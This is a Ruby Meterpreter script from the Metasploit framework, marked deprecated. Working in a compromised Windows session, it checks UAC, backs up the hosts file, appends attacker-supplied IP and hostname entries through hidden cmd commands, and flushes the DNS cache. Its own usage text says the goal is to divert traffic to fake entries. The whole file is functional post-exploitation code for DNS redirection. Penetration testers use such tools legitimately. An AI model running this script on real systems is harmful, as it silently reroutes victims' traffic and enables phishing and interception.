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##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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# Meterpreter script for modifying the hosts file in windows
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# given a single entry or several in a file and clear the
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# DNS cache on the target machine.
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# This script works with Windows 2000,Windows XP,Windows 2003,
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# Windows Vista and Windows 2008.
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# Provided: carlos_perez[at]darkoperator[dot]com
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# Version: 0.1.0
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# Note: in Vista UAC must be disabled to be able to perform hosts
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# file modifications.
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################## Variable Declarations ##################
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session = client
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# Setting Arguments
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@@exec_opts = Rex::Parser::Arguments.new(
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  "-h" => [ false, "Help Options." ],
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  "-e" => [ true,  "Host entry in the format of IP,Hostname." ],
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  "-l" => [ true,  "Text file with list of entries in the format of IP,Hostname. One per line." ]
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)
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def usage
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  print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
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  print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
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  print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
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  print_line("entry can be provided or a series of entries provided a file with one per line.")
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  print_line(@@exec_opts.usage)
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  print_line("Example:\n\n")
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  print_line("run hostsedit -e 127.0.0.1,google.com\n")
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  print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
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  raise Rex::Script::Completed
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end
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record = ""
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#Set path to the hosts file
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hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts"
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#Function check if UAC is enabled
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def checkuac(session)
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  winver = session.sys.config.sysinfo
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  if winver["OS"] =~ (/Windows 7|Vista/)
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    print_status("Checking if UAC is enabled.")
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    open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
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    value = open_key.query_value("EnableLUA").data
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    if value == 1
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      print_status("\tUAC is enabled")
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      raise "Unable to continue UAC is enabbled."
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    else
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      print_status("\tUAC is disabled")
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      status = false
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    end
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  end
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end
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#Function for adding record to hosts file
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def add2hosts(session,record,hosts)
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  ip,host = record.split(",")
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  print_status("Adding Record for Host #{host} with IP #{ip}")
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  session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
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end
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#Make a backup of the hosts file on the target
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def backuphosts(session,hosts)
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  random = sprintf("%.5d",rand(100000))
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  print_status("Making Backup of the hosts file.")
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  session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
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  print_status("Backup loacated in #{hosts}#{random}.back")
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end
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# Clear DNS Cached entries
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def cleardnscach(session)
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  print_status("Clearing the DNS Cache")
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  session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
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end
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if client.platform == 'windows'
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  @@exec_opts.parse(args) { |opt, idx, val|
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    case opt
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    when "-e"
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      checkuac(session)
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      backuphosts(session,hosts)
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      add2hosts(session,val,hosts)
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      cleardnscach(session)
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    when "-l"
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      checkuac(session)
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      if not ::File.exist?(val)
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        raise "File #{val} does not exist!"
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      else
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        backuphosts(session,hosts)
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        ::File.open(val, "r").each_line do |line|
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          next if line.strip.length < 1
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          next if line[0,1] == "#"
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          add2hosts(session,line.chomp,hosts)
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        end
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        cleardnscach(session)
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      end
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    when "-h"
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      usage
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    end
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  }
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  if args.length == 0
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    usage
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  end
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else
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  print_error("This version of Meterpreter is not supported with this Script!")
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  raise Rex::Script::Completed
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end
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